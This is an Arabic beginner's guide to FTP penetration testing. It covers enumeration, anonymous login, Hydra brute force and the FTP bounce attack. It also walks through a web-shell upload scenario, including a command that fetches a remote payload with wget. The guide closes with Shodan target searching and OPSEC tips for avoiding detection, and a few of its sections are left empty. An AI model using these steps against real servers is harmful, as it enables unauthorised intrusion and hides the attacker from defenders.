اختبار اختراق FTP — دليل شامل من الصفر للمبتدئين

ما هو FTP ولماذا يهمنا؟

FTP (File Transfer Protocol) هو بروتوكول قديم يُستخدم لنقل الملفات بين جهازين عبر الشبكة. الإشكالية الكبيرة؟ كل شيء ينتقل نصاً صريحاً (plain-text) — كلمة المرور، اسم المستخدم، الملفات — كل هذا يمكن التقاطه بسهولة.

ملاحظة للمبتدئين: بسبب طابع السطر الجديد الخاص، أحياناً تحتاج للاتصال عبر telnet أو nc -C بدلاً من الأدوات المعتادة.

الاتصال النشط والسلبي — الفرق الأساسي

قبل أي شيء، يجب أن تفهم كيف يتصل FTP لأن هذا يؤثر على كيفية تعاملك معه.

الاتصال النشط (Active FTP)

1. العميل يفتح الاتصال التحكمي من المنفذ N إلى المنفذ 21 على الخادم
2. العميل يستمع على المنفذ N+1 ويُرسل هذا الرقم للخادم
3. الخادم هو من يبدأ اتصال البيانات إلى المنفذ N+1 عند العميل

المشكلة: إذا كان عند العميل Firewall يمنع الاتصالات الواردة، الاتصال النشط سيفشل.

الاتصال السلبي (Passive FTP)

1. العميل يفتح الاتصال التحكمي إلى المنفذ 21
2. العميل يُرسل أمر PASV
3. الخادم يُرسل رقم منفذ M متاح
4. العميل هو من يبدأ اتصال البيانات إلى المنفذ M على الخادم

الفائدة: العميل هو من يبدأ كل الاتصالات، فلا مشكلة مع الـ Firewall.

مرحلة الاستطلاع (Enumeration)

الخطوة الأولى: Banner Grabbing

الـ Banner هو أول رد يُرسله الخادم — فيه معلومات قيّمة كالإصدار وأحياناً اسم النظام.

# الطريقة الأبسط
nc -vn <IP> 21

# إذا كان FTP يعمل على SSL/TLS
openssl s_client -connect crossfit.htb:21 -starttls ftp

فحص Nmap الشامل

sudo nmap -sV -p21 -sC -A 10.10.10.10

لتشغيل كل سكريبتات Nmap المتعلقة بـ FTP دفعة واحدة:

nmap --script ftp-* -p 21 <IP>

هذا يتحقق تلقائياً من: تسجيل الدخول المجهول، FTP Bounce، وإصدار الخادم.

استعلام معلومات الخادم مباشرةً

بعد الاتصال، يمكنك إرسال هذه الأوامر مباشرة للخادم:

HELP    # يعرض كل الأوامر المدعومة
FEAT    # يعرض الميزات والإضافات المفعّلة
STAT    # معلومات عن حالة الخادم وإصداره

تسجيل الدخول المجهول (Anonymous Login)

هذا أول شيء تتحقق منه دائماً. كثير من خوادم FTP القديمة أو المُهيّأة بشكل خاطئ تسمح بالدخول بدون كلمة مرور حقيقية.

بيانات الدخول الشائعة:

• anonymous : anonymous
• anonymous : (فراغ)
• ftp : ftp

ftp <IP>
# ثم أدخل:
# Username: anonymous
# Password: anonymous

بعد الدخول، الأوامر الأساسية:

ls -a        # عرض كل الملفات بما فيها المخفية
binary       # تبديل وضع النقل إلى ثنائي (ضروري للملفات غير النصية)
ascii        # تبديل وضع النقل إلى نصي
get file.txt # تحميل ملف
put file.txt # رفع ملف
bye          # الخروج

تلميح: دائماً استخدم ls -a — الملفات المخفية موجودة وكثيراً ما تحتوي على معلومات مهمة.

الاتصال عبر lftp (للخوادم المشفرة)

إذا كان الخادم يستخدم SSL/TLS:

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login username Password

تحميل كل محتوى الخادم دفعة واحدة

# تحميل كل شيء (وضع سلبي)
wget -m ftp://anonymous:anonymous@10.10.10.98

# إذا كان وضع PASV معطلاً
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

# إذا كانت كلمة المرور تحتوي أحرفاً خاصة
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

Brute Force — كسر كلمة المرور

إذا لم ينجح الدخول المجهول، جرّب قائمة كلمات المرور الافتراضية:

hydra -t 1 -l <Username> -P /path/to/passwords.txt -vV <IP> ftp

قائمة ممتازة للبداية: ftp-betterdefaultpasslist.txt

هجمة FTP Bounce

هذه الثغرة موجودة في خوادم FTP القديمة التي تدعم أمر PORT. الفكرة ببساطة: تجعل الخادم يتصل بأجهزة أخرى بدلاً منك.

ما الذي يمكن عمله؟

• فحص المنافذ عبر الخادم (تستخدم الخادم كـ proxy للفحص)
• التحدث مع بروتوكولات أخرى كـ HTTP أو FTP خوادم أخرى
• رفع طلبات HTTP ليُرسلها الخادم لأهداف أخرى

كيف تعمل الهجمة؟

1. ارفع ملفاً نصياً يحتوي الطلب الذي تريد إرساله (HTTP أو FTP request)
   • تذكر: فواصل السطور يجب أن تكون 0x0d 0x0a
2. استخدم REST X لتخطي أي بيانات لا تريدها في بداية الملف
3. استخدم PORT للإشارة إلى الخادم الهدف والمنفذ
4. استخدم RETR لإرسال الملف عبر الاتصال المفتوح

PORT 127,0,0,1,0,80
# يأمر الخادم بالاتصال بـ 127.0.0.1 على المنفذ 80

EPRT |2|127.0.0.1|80|
# نفس الشيء لكن يدعم IPv6

ملاحظة: غالباً ستحصل على خطأ Socket not writable لأن الاتصال لا يدوم بما يكفي. الحل: كرّر الطلب أكثر من مرة داخل الملف (حتى ~0.5MB) أو أضف بيانات “مالئة” لإطالة الاتصال.

رفع Web Shell عبر FTP (XAMPP/ProFTPD)

في بيئات XAMPP، كثيراً ما يكون جذر FTP مرتبطاً بـ /opt/lampp/htdocs — أي مجلد الويب مباشرة.

سيناريو الاستغلال:

1. تسجيل الدخول بحساب ضعيف (daemon أو nobody)
2. رفع Web Shell بصيغة PHP
3. تشغيل الـ Shell عبر المتصفح وتحميل payload إضافي:

# مثال لأمر التشغيل عبر الـ Shell
webshell.php?cmd=wget -qO - http://<server>/.x/?x=x86

إذا لم يكن المجلد الحالي قابلاً للتنفيذ، جرّب الكتابة في /tmp.

ملفات الإعداد المهمة (Post-Exploitation)

بعد الوصول للخادم، ابحث عن هذه الملفات:

/etc/vsftpd.conf
/etc/ftpusers
/etc/ftp.conf
/etc/proftpd.conf

إعدادات خطيرة في vsftpd

مرجع سريع: أوامر FTP الأساسية

البحث عن أهداف عبر Shodan

ftp
port:21

ملاحظات OPSEC

أدوات الحماية التي قد تكشف النشاط:

• سجلات خادم FTP (vsftpd.log أو xferlog): تسجّل كل محاولة تسجيل دخول (ناجحة أو فاشلة)، وكل عملية تحميل أو رفع ملف باسمه ووقته وحجمه ومساره الكامل.
• أنظمة كشف التسلل (IDS): ترصد عدداً ضخماً من محاولات تسجيل الدخول الفاشلة خلال وقت قصير من نفس العنوان، وهو النمط النموذجي لأي هجوم Brute Force.
• الخادم الوسيط بهجمة FTP Bounce: رغم أن هذه التقنية تُخفي عنوان IP المهاجم الحقيقي عن الهدف النهائي، يحتفظ الخادم الوسيط نفسه بسجل كامل للعملية يمكن تتبعه لاحقاً.

مستوى الضجيج لكل تقنية:

كيف نقلل الأثر:

• استخدم -t 1 في Hydra عند تنفيذ Brute Force لتجنب الـ lockout وتقليل الضجيج.
• لا تستخدم اسمك الحقيقي أو بريدك الشخصي عند تسجيل الدخول كـAnonymous — بعض الخوادم تطلب إيميل ككلمة مرور وتسجّله.
• تذكّر أن هجمة FTP Bounce تحمي عنوانك أنت فقط ولا تحمي الخادم الوسيط من التتبع — لا تعتمد عليها كإخفاء كامل للهوية.
• في بيئات الاختبار المرخّص (خارج CTF)، وثّق كل خطوة تنفّذها مسبقاً بتقريرك، لأن كل إجراء على خادم FTP مسجَّل.

🛠️ أدوات لفحص FTP